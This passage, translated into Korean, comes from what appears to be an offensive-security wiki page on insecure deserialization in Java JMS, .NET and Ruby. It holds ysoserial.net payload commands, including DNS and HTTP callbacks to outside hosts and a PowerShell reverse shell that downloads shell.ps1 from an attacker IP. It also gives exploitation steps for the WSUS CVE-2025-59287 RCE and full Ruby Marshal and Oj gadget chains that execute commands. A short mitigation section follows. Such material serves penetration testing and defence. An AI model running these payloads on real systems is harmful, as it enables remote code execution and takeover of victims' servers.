- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
๋ค์ ํ์ด์ง์์ JNDI Injection์ด ๋ฌด์์ธ์ง, RMI, CORBA & LDAP๋ฅผ ํตํด ์ด๋ป๊ฒ ์ ์ฉํ๋์ง, ๊ทธ๋ฆฌ๊ณ log4shell์ ์ด๋ป๊ฒ exploitํ๋์ง(๋ฐ ์ด ์ทจ์ฝ์ ์ ์์ )๋ฅผ ํ์ธํ์ธ์:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API๋ ๋ ๊ฐ ์ด์์ ํด๋ผ์ด์ธํธ ๊ฐ ๋ฉ์์ง๋ฅผ ๋ณด๋ด๊ธฐ ์ํ Java ๋ฉ์์ง ์งํฅ ๋ฏธ๋ค์จ์ด API์ ๋๋ค. ์ด๋ producerโconsumer ๋ฌธ์ ๋ฅผ ์ฒ๋ฆฌํ๊ธฐ ์ํ ๊ตฌํ์ ๋๋ค. JMS๋ Java Platform, Enterprise Edition (Java EE)์ ์ผ๋ถ์ด๋ฉฐ, Sun Microsystems์์ ๊ฐ๋ฐ๋ ์ฌ์์ ์ํด ์ ์๋์๊ณ ์ดํ Java Community Process์ ์ํด ๊ด๋ฆฌ๋์ด ์์ต๋๋ค. ์ด๋ Java EE ๊ธฐ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ปดํฌ๋ํธ๊ฐ ๋ฉ์์ง๋ฅผ ์์ฑ, ์ ์ก, ์์ ๋ฐ ์ฝ์ ์ ์๊ฒ ํ๋ ๋ฉ์์ง ํ์ค์ ๋๋ค. ๋ถ์ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ์๋ก ๋ค๋ฅธ ๊ตฌ์ฑ ์์ ๊ฐ ํต์ ์ ๋์จํ๊ฒ ๊ฒฐํฉ๋๊ณ ์ ๋ขฐํ ์ ์์ผ๋ฉฐ ๋น๋๊ธฐ์ ์ผ๋ก ๋ง๋ค์ด ์ค๋๋ค. (์ถ์ฒ: Wikipedia).
Products
์ด ๋ฏธ๋ค์จ์ด๋ฅผ ์ฌ์ฉํ์ฌ ๋ฉ์์ง๋ฅผ ์ ์กํ๋ ์ฌ๋ฌ ์ ํ๋ค์ด ์์ต๋๋ค:
.png)
.png)
Exploitation
์์ฝํ์๋ฉด, JMS๋ฅผ ์ํํ ๋ฐฉ์์ผ๋ก ์ฌ์ฉํ๋ ๋ง์ ์๋น์ค๋ค์ด ์กด์ฌํฉ๋๋ค. ๋ฐ๋ผ์ ์ด๋ฌํ ์๋น์ค์ ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ์ ์๋ ์ถฉ๋ถํ ๊ถํ(๋๊ฐ ์ ํจํ ์๊ฒฉ์ฆ๋ช
์ด ํ์ํจ)์ด ์๋ค๋ฉด, consumer/subscriber๊ฐ deserializedํ ์
์์ ์ผ๋ก serialized๋ ๊ฐ์ฒด๋ฅผ ๋ณด๋ผ ์ ์์ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
์ด๋ ์ด ๊ณต๊ฒฉ์์ ํด๋น ๋ฉ์์ง๋ฅผ ์ฌ์ฉํ ๋ชจ๋ ํด๋ผ์ด์ธํธ๋ค์ด ์ํฅ๋ฐ์ ์ ์๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
์๋น์ค๊ฐ ์ทจ์ฝํ๋๋ผ๋(์ฌ์ฉ์ ์ ๋ ฅ์ ๋ถ์์ ํ๊ฒ deserializingํ๊ธฐ ๋๋ฌธ์) ๊ณต๊ฒฉ์ ์ฑ๊ณต์ํค๋ ค๋ฉด ์ฌ์ ํ ์ ์ ํ gadgets๋ฅผ ์ฐพ์์ผ ํ๋ค๋ ์ ์ ๋ช ์ฌํ์ธ์.
๋๊ตฌ JMET๋ ์ด ์๋น์ค์ ์ฐ๊ฒฐํ์ฌ ์ฌ๋ฌ ์๋ ค์ง gadgets๋ฅผ ์ฌ์ฉํด ์ ์ฑ์ผ๋ก serialized๋ ๊ฐ์ฒด๋ค์ ์ ์กํด ๊ณต๊ฒฉํ๋๋ก ๋ง๋ค์ด์ก์ต๋๋ค. ์ด ์ต์คํ๋ก์๋ค์ ์๋น์ค๊ฐ ์ฌ์ ํ ์ทจ์ฝํ๊ณ ์ฌ์ฉ๋ gadget ์ค ํ๋๋ผ๋ ์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์ ์ ํฌํจ๋์ด ์๋ค๋ฉด ๋์ํฉ๋๋ค.
References
-
Patchstack advisory โ Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
.Net ํ๊ฒฝ์์๋ deserialization ์ต์คํ๋ก์์ Java์์ ๋ฐ๊ฒฌ๋๋ ๊ฒ๊ณผ ์ ์ฌํ๊ฒ ๋์ํ๋ฉฐ, ๊ฐ์ฒด์ deserialization ๊ณผ์ ์์ ํน์ ์ฝ๋๋ฅผ ์คํํ๋๋ก gadgets๊ฐ ์ ์ฉ๋ฉ๋๋ค.
Fingerprint
WhiteBox
์์ค ์ฝ๋๋ฅผ ๊ฒ์ฌํ์ฌ ๋ค์ ํญ๋ชฉ์ด ์กด์ฌํ๋์ง ํ์ธํ์ธ์:
TypeNameHandlingJavaScriptTypeResolver
์ฌ์ฉ์ ์ ์ด ํ์ ์๋ ๋ณ์๋ก ํ์ ์ ๊ฒฐ์ ํ ์ ์๋๋ก ํ์ฉํ๋ serializers์ ์ฃผ๋ชฉํด์ผ ํฉ๋๋ค.
BlackBox
๊ฒ์ ์ Base64๋ก ์ธ์ฝ๋ฉ๋ ๋ฌธ์์ด AAEAAAD///// ๋๋ ์๋ฒ ์ธก์์ deserialization๋์ด deserializedํ ํ์
์ ๋ํ ์ ์ด๋ฅผ ํ์ฉํ ์ ์๋ ์ ์ฌํ ํจํด์ ํ๊ฒ์ผ๋ก ํ์ธ์. ์ฌ๊ธฐ์๋ TypeObject ๋๋ $type์ ํฌํจํ๋ JSON ๋๋ XML ๊ตฌ์กฐ ๋ฑ์ด ํฌํจ๋ ์ ์์ต๋๋ค.
ysoserial.net
์ด ๊ฒฝ์ฐ ysoserial.net ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ deserialization ์ต์คํ๋ก์์ ์์ฑํ ์ ์์ต๋๋ค. Git ๋ฆฌํฌ์งํ ๋ฆฌ๋ฅผ ๋ด๋ ค๋ฐ์ ํ Visual Studio ๋ฑ์ ์ฌ์ฉํด ๋๊ตฌ๋ฅผ ์ปดํ์ผํด์ผ ํฉ๋๋ค.
ysoserial.net์ด ์ด๋ป๊ฒ ์ต์คํ๋ก์์ ์์ฑํ๋์ง๋ฅผ ๋ฐฐ์ฐ๊ณ ์ถ๋ค๋ฉด ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter๊ฐ ์ค๋ช ๋ ์ด ํ์ด์ง๋ฅผ ํ์ธํ์ธ์.
ysoserial.net์ ์ฃผ์ ์ต์
์: --gadget, --formatter, --output ๋ฐ --plugin ์
๋๋ค.
--gadget: ์ ์ฉํ gadget์ ์ง์ ํฉ๋๋ค (deserialization ์ค ๋ช ๋ น์ ์คํํ๊ธฐ ์ํด ์ ์ฉ๋ ํด๋์ค/ํจ์๋ฅผ ์ง์ ).--formatter: ์ต์คํ๋ก์์ serializeํ ๋ฐฉ๋ฒ์ ์ง์ ํฉ๋๋ค (๋ฐฑ์๋๊ฐ payload๋ฅผ deserializingํ๋๋ฐ ์ฌ์ฉํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์๊ณ ๋์ผํ ํฌ๋งทํฐ๋ฅผ ์ฌ์ฉํด์ผ ํจ).--output: ์ต์คํ๋ก์์ raw ๋๋ base64๋ก ์ถ๋ ฅํ ์ง ์ง์ ํฉ๋๋ค. ์ฐธ๊ณ : ysoserial.net์ payload๋ฅผ ๊ธฐ๋ณธ์ ์ผ๋ก UTF-16LE(Windows์์ ๊ธฐ๋ณธ ์ฌ์ฉ๋๋ ์ธ์ฝ๋ฉ)๋ก ์ธ์ฝ๋ฉํ๋ฏ๋ก raw๋ฅผ ์ป์ด ๋จ์ํ ๋ฆฌ๋ ์ค ์ฝ์์์ ์ธ์ฝ๋ฉ๋ง ๋ณ๊ฒฝํ๋ฉด ์ธ์ฝ๋ฉ ํธํ์ฑ ๋ฌธ์ ๋ก ์ต์คํ๋ก์์ด ์ ๋๋ก ๋์ํ์ง ์์ ์ ์์ต๋๋ค(HTB JSON ๋ฐ์ค์์๋ payload๊ฐ UTF-16LE์ ASCII ๋ชจ๋์์ ๋์ํ์ง๋ง ํญ์ ๊ทธ๋ ๋ค๋ ๋ณด์ฅ์ ์์ต๋๋ค).--plugin: ysoserial.net์ ViewState ๊ฐ์ ํน์ ํ๋ ์์ํฌ์ฉ ์ต์คํ๋ก์์ ์ ์ํ๊ธฐ ์ํ ํ๋ฌ๊ทธ์ธ์ ์ง์ํฉ๋๋ค.
More ysoserial.net parameters
--minify๋ ๊ฐ๋ฅํ ๊ฒฝ์ฐ ๋ ์์ payload๋ฅผ ์ ๊ณตํฉ๋๋ค.--raf -f Json.Net -c "anything"๋ ์ ๊ณต๋ formatter(Json.Net์ธ ๊ฒฝ์ฐ)์์ ์ฌ์ฉํ ์ ์๋ ๋ชจ๋ gadgets๋ฅผ ํ์ํฉ๋๋ค.--sf xml๋ gadget(-g)์ ์ง์ ํ๋ฉด ysoserial.net์ด โxmlโ์ ํฌํจํ๋ formatter๋ฅผ ๊ฒ์ํฉ๋๋ค(๋์๋ฌธ์ ๊ตฌ๋ถ ์์).
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net์๋ ๊ฐ ์ต์คํ๋ก์์ด ์ด๋ป๊ฒ ์๋ํ๋์ง ๋ ์ ์ดํดํ๋ ๋ฐ ๋์์ด ๋๋ ๋งค์ฐ ํฅ๋ฏธ๋ก์ด ํ๋ผ๋ฏธํฐ๊ฐ ํ๋ ์์ต๋๋ค: --test
์ด ํ๋ผ๋ฏธํฐ๋ฅผ ์ง์ ํ๋ฉด ysoserial.net์ ๋ก์ปฌ์์ ์ต์คํ๋ก์์ ์๋ํ๋ฏ๋ก, ํ์ด๋ก๋๊ฐ ์ ๋๋ก ๋์ํ๋์ง ํ
์คํธํ ์ ์์ต๋๋ค.
์ด ํ๋ผ๋ฏธํฐ๋ ์ ์ฉํ๋ฐ, ์ฝ๋๋ฅผ ๊ฒํ ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฝ๋ ์กฐ๊ฐ์ ๋ฐ๊ฒฌํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค (from ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
์ฆ, exploit์ ํ ์คํธํ๊ธฐ ์ํด ์ฝ๋๊ฐ serializersHelper.JsonNet_deserialize๋ฅผ ํธ์ถํ๋ค
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the ์ด์ ์ฝ๋๋ ์์ฑ๋ ์ต์คํ๋ก์์ ์ทจ์ฝํฉ๋๋ค. ๋ฐ๋ผ์ .Net ์ ํ๋ฆฌ์ผ์ด์
์์ ์ ์ฌํ ์ฝ๋๋ฅผ ๋ฐ๊ฒฌํ๋ฉด ํด๋น ์ ํ๋ฆฌ์ผ์ด์
๋ ์ทจ์ฝํ ๊ฐ๋ฅ์ฑ์ด ํฝ๋๋ค.
๋ฐ๋ผ์ the --test parameter allows us to understand ์ด๋ค ์ฝ๋ ๋ฉ์ด๋ฆฌ๋ค์ด ์ทจ์ฝํ์ง to the desrialization exploit that ysoserial.net can create.
ViewState
Take a look to this POST about how to try to exploit the __ViewState parameter of .Net to ์์์ ์ฝ๋๋ฅผ ์คํ. If you ์ด๋ฏธ know the secrets used by the victim machine, read this post to know to execute code.
Realโworld sink: WSUS AuthorizationCookie & Reporting SOAP โ BinaryFormatter/SoapFormatter RCE
- Affected endpoints:
/SimpleAuthWebService/SimpleAuth.asmxโ GetCookie() AuthorizationCookie๊ฐ ๋ณตํธํ๋ ํ BinaryFormatter๋ก deserialized๋ฉ๋๋ค./ReportingWebService.asmxโ ReportEventBatch ๋ฐ ๊ด๋ จ SOAP ์์ ์ด SoapFormatter sinks์ ๋๋ฌํฉ๋๋ค; base64 gadget๋ WSUS ์ฝ์์ด ์ด๋ฒคํธ๋ฅผ ์์ ํ ๋ ์ฒ๋ฆฌ๋ฉ๋๋ค.- Root cause: attackerโcontrolled bytes๊ฐ ์๊ฒฉํ allowโlists/binders ์์ด ๋ ๊ฑฐ์ .NET formatters (BinaryFormatter/SoapFormatter)์ ๋๋ฌํ์ฌ gadget chains๊ฐ WSUS ์๋น์ค ๊ณ์ (๋๊ฐ SYSTEM) ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค.
Minimal exploitation (Reporting path):
- Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
ReportEventBatch์ ๋ํ SOAP์ ์์ฑํ์ฌ base64 gadget์ ํฌํจ์ํค๊ณ/ReportingWebService.asmx์ POSTํฉ๋๋ค.- ๊ด๋ฆฌ์๊ฐ WSUS ์ฝ์์ ์ด๋ฉด ์ด๋ฒคํธ๊ฐ ์ญ์ง๋ ฌํ๋๊ณ gadget์ด ์คํ๋์ด (RCE as SYSTEM).
AuthorizationCookie / GetCookie()
- ์์กฐ๋ AuthorizationCookie๋ ์๋ฝ๋์ด ๋ณตํธํ๋ ๋ค์ BinaryFormatter sink๋ก ์ ๋ฌ๋ ์ ์์ผ๋ฉฐ, ๋๋ฌ ๊ฐ๋ฅํ ๊ฒฝ์ฐ preโauth RCE๋ฅผ ์ ๋ฐํฉ๋๋ค.
Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
์ฐธ์กฐ Windows Local Privilege Escalation โ WSUS
์๋ฐฉ
To mitigate the risks associated with deserialization in .Net:
- ๋ฐ์ดํฐ ์คํธ๋ฆผ์ด ๊ฐ์ฒด ํ์
์ ์ ์ํ๋๋ก ํ์ฉํ์ง ๋ง์ธ์. ๊ฐ๋ฅํ ๊ฒฝ์ฐ
DataContractSerializer๋๋XmlSerializer๋ฅผ ์ฌ์ฉํ์ธ์. JSON.Net์ ๊ฒฝ์ฐTypeNameHandling์None์ผ๋ก ์ค์ ํ์ธ์:TypeNameHandling = TypeNameHandling.NoneJavaScriptSerializer๋ฅผJavaScriptTypeResolver์ ํจ๊ป ์ฌ์ฉํ๋ ๊ฒ์ ํผํ์ธ์.- deserialized ๊ฐ๋ฅํ ํ์
์ ์ ํํ์ธ์,
System.IO.FileInfo์ฒ๋ผ ์๋ฒ ํ์ผ์ ์์ฑ์ ๋ณ๊ฒฝํ ์ ์์ด ์๋น์ค ๊ฑฐ๋ถ(DoS) ๊ณต๊ฒฉ์ผ๋ก ์ด์ด์ง ์ ์๋ .Net ํ์ ๋ค์ ๊ณ ์ ์ํ์ ์ดํดํ์ธ์. - ์ํํ ์์ฑ์ ๊ฐ์ง ํ์
์ ์ฃผ์ํ์ธ์, ์๋ฅผ ๋ค์ด
System.ComponentModel.DataAnnotations.ValidationException์Value์์ฑ์ ์ ์ฉ๋ ์ ์์ต๋๋ค. - ํ์
์ธ์คํด์คํ๋ฅผ ์์ ํ๊ฒ ์ ์ดํ์ธ์ โ ๊ณต๊ฒฉ์๊ฐ deserialization ํ๋ก์ธ์ค์ ์ํฅ์ ๋ฏธ์น์ง ๋ชปํ๋๋ก ํ์ฌ
DataContractSerializer๋XmlSerializer์กฐ์ฐจ ์ทจ์ฝํด์ง์ง ์๋๋ก ํ์ธ์. - BinaryFormatter์ JSON.Net์ ๋ํด ์ปค์คํ
SerializationBinder๋ฅผ ์ฌ์ฉํ์ฌ ํ์ดํธ๋ฆฌ์คํธ ์ ์ด๋ฅผ ๊ตฌํํ์ธ์. - .Net ๋ด ์๋ ค์ง ์์ ํ์ง ์์ deserialization gadget์ ๋ํ ์ ๋ณด๋ฅผ ์ ์งํ๊ณ , deserializer๊ฐ ์ด๋ฌํ ํ์ ์ ์ธ์คํด์คํํ์ง ์๋๋ก ํ์ธ์.
- ์ ์ฌ์ ์ผ๋ก ์ํํ ์ฝ๋๋ฅผ ์ธํฐ๋ท ์ ๊ทผ์ด ์๋ ์ฝ๋์ ๋ถ๋ฆฌํ์ธ์ โ WPF ์ ํ๋ฆฌ์ผ์ด์
์
System.Windows.Data.ObjectDataProvider์ ๊ฐ์ ์๋ ค์ง gadget๋ฅผ ์ ๋ขฐํ ์ ์๋ ๋ฐ์ดํฐ ์์ค์ ๋ ธ์ถ์ํค์ง ์๋๋ก ํ์ธ์.
์ฐธ๊ณ ์๋ฃ
- Java and .Net JSON deserialization ๋ ผ๋ฌธ: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, ๊ฐ์ฐ: https://www.youtube.com/watch?v=oUAeWhW5b8c ๋ฐ ์ฌ๋ผ์ด๋: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby์์๋ marshal ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ ๋ฉ์๋๋ฅผ ํตํด serialization์ด ์ํ๋ฉ๋๋ค. ์ฒซ ๋ฒ์งธ ๋ฉ์๋์ธ dump๋ ๊ฐ์ฒด๋ฅผ ๋ฐ์ดํธ ์คํธ๋ฆผ์ผ๋ก ๋ณํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค(์ด๋ฅผ serialization์ด๋ผ๊ณ ํฉ๋๋ค). ๋ฐ๋๋ก ๋ ๋ฒ์งธ ๋ฉ์๋์ธ load๋ ๋ฐ์ดํธ ์คํธ๋ฆผ์ ๋ค์ ๊ฐ์ฒด๋ก ๋ณต์ํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ(์ด๋ฅผ deserialization์ด๋ผ๊ณ ํฉ๋๋ค).
์ง๋ ฌํ๋ ๊ฐ์ฒด๋ฅผ ๋ณดํธํ๊ธฐ ์ํด **Ruby๋ HMAC (Hash-Based Message Authentication Code)**๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ์ ๋ฌด๊ฒฐ์ฑ๊ณผ ์ง์๋ฅผ ๋ณด์ฅํฉ๋๋ค. ์ด ์ฉ๋๋ก ์ฌ์ฉ๋๋ ํค๋ ๋ค์ ์์น๋ค ์ค ํ๋์ ์ ์ฅ๋ฉ๋๋ค:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails๋ฅผ ์ ์ฉํ๊ธฐ ์ํ ๋ค๋ฅธ RCE ์ฒด์ธ: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() ๋ฉ์๋
As explained in this vulnerability report, ์ฌ์ฉ์๋ก๋ถํฐ์ ์ ์ ๋์ง ์์ ์
๋ ฅ์ด Ruby ๊ฐ์ฒด์ .send() ๋ฉ์๋์ ๋๋ฌํ๋ฉด, ์ด ๋ฉ์๋๋ ๊ฐ์ฒด์ ๋ค๋ฅธ ์ด๋ค ๋ฉ์๋๋ ์์์ ๋งค๊ฐ๋ณ์๋ก ํธ์ถํ ์ ์๊ฒ ํฉ๋๋ค.
์๋ฅผ ๋ค์ด, eval์ ํธ์ถํ๊ณ ๋ ๋ฒ์งธ ์ธ์๋ก Ruby ์ฝ๋๋ฅผ ๋๊ธฐ๋ฉด ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค:
<Object>.send('eval', '<user input with Ruby code>') == RCE
๊ฒ๋ค๊ฐ, ์์ ์ค๋ช
์์ ์ธ๊ธํ ๊ฒ์ฒ๋ผ, **.send()**์ ๋งค๊ฐ๋ณ์ ํ๋๋ง ๊ณต๊ฒฉ์์๊ฒ ์ ์ด๋๋ค๋ฉด, ์ธ์๋ฅผ ํ์๋ก ํ์ง ์๊ฑฐ๋ ์ธ์์ ๊ธฐ๋ณธ๊ฐ์ด ์ค์ ๋ ๊ฐ์ฒด์ ์ด๋ค ๋ฉ์๋๋ ํธ์ถํ ์ ์์ต๋๋ค.\
์ด๋ฅผ ์ํด ๊ฐ์ฒด์ ๋ชจ๋ ๋ฉ์๋๋ฅผ ์ด๊ฑฐํ์ฌ ํด๋น ์๊ฑด์ ๋ง์กฑํ๋ ํฅ๋ฏธ๋ก์ด ๋ฉ์๋๋ฅผ ์ฐพ์๋ผ ์ ์์ต๋๋ค.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
์ฌ๊ธฐ์์ pollute a Ruby class and abuse it in here๊ฐ ์ด๋ป๊ฒ ๊ฐ๋ฅํ์ง ํ์ธํ์ธ์.
Ruby _json pollution
๋ณธ๋ฌธ(body)์ array์ ๊ฐ์ด hashableํ์ง ์์ ์ผ๋ถ ๊ฐ์ ์ ์กํ๋ฉด ์๋ก์ด ํค _json์ ์ถ๊ฐ๋ฉ๋๋ค. ๊ทธ๋ฌ๋ ๊ณต๊ฒฉ์๋ ๋ณธ๋ฌธ์ _json์ด๋ผ๋ ์ด๋ฆ์ ๊ฐ์ ์์์ ๊ฐ์ผ๋ก ์ค์ ํ ์๋ ์์ต๋๋ค. ์ดํ ๋ฐฑ์๋๊ฐ ์๋ฅผ ๋ค์ด ํ๋ผ๋ฏธํฐ์ ์ง์๋ฅผ ํ์ธํ์ง๋ง _json ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ์ฉํด ์ด๋ค ๋์์ ์ํํ๋ค๋ฉด, ๊ถํ ์ฐํ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค.
์์ธํ ๋ด์ฉ์ Ruby _json pollution page๋ฅผ ํ์ธํ์ธ์.
๋ค๋ฅธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ
์ด ๊ธฐ๋ฒ์ from this blog post์์ ๊ฐ์ ธ์์ต๋๋ค.
๊ฐ์ฒด๋ฅผ ์ง๋ ฌํํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์๋ ๋ค๋ฅธ Ruby ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ค์ด ์์ผ๋ฉฐ, ์ด๋ค์ ์์ ํ์ง ์์ deserialization ์ RCE ํ๋์ ์ ์ฉ๋ ์ ์์ต๋๋ค. ๋ค์ ํ๋ ์ด๋ฌํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ค ์ผ๋ถ์, ์ธ์๋ฆฌ์ผ๋ผ์ด์ฆ๋ ๋ ํธ์ถ๋๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ด๋ถ์ ๋ฉ์๋(๊ธฐ๋ณธ์ ์ผ๋ก RCE๋ฅผ ์ป๊ธฐ ์ํด ์ ์ฉํ ํจ์)๋ฅผ ๋ณด์ฌ์ค๋๋ค:
| Library | Input data | Kick-off method inside class |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
๊ธฐ๋ณธ ์:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Oj๋ฅผ ์
์ฉํ๋ ค๊ณ ์๋ํ ๋, ๋ด๋ถ์ hash ํจ์๊ฐ to_s๋ฅผ ํธ์ถํ๊ณ , to_s๊ฐ spec์ ํธ์ถํ๋ฉฐ, spec์ด fetch_path๋ฅผ ํธ์ถํ๋๋ก ํ๋ gadget class๋ฅผ ์ฐพ์ ์ ์์๊ณ , ์ด๋ฅผ ํตํด ์์์ URL์ ๊ฐ์ ธ์ค๊ฒ ๋ง๋ค์ด ์ด๋ฌํ ์ข
๋ฅ์ ๊ฒ์ฆ๋์ง ์์ deserialization ์ทจ์ฝ์ ์ ์ ํ์งํ ์ ์์๋ค.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
๋ํ ์ด์ ๊ธฐ๋ฒ์ผ๋ก ์์คํ ์ ํด๋๊ฐ ์์ฑ๋๋ ๊ฒ์ด ๋ฐ๊ฒฌ๋์์ผ๋ฉฐ, ์ด๋ ๋ค๋ฅธ gadget์ ์ ์ฉํด ์ด๋ฅผ ์์ ํ RCE๋ก ๋ณํํ๊ธฐ ์ํ ์ ์ ์กฐ๊ฑด์ด๋ค. ์:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
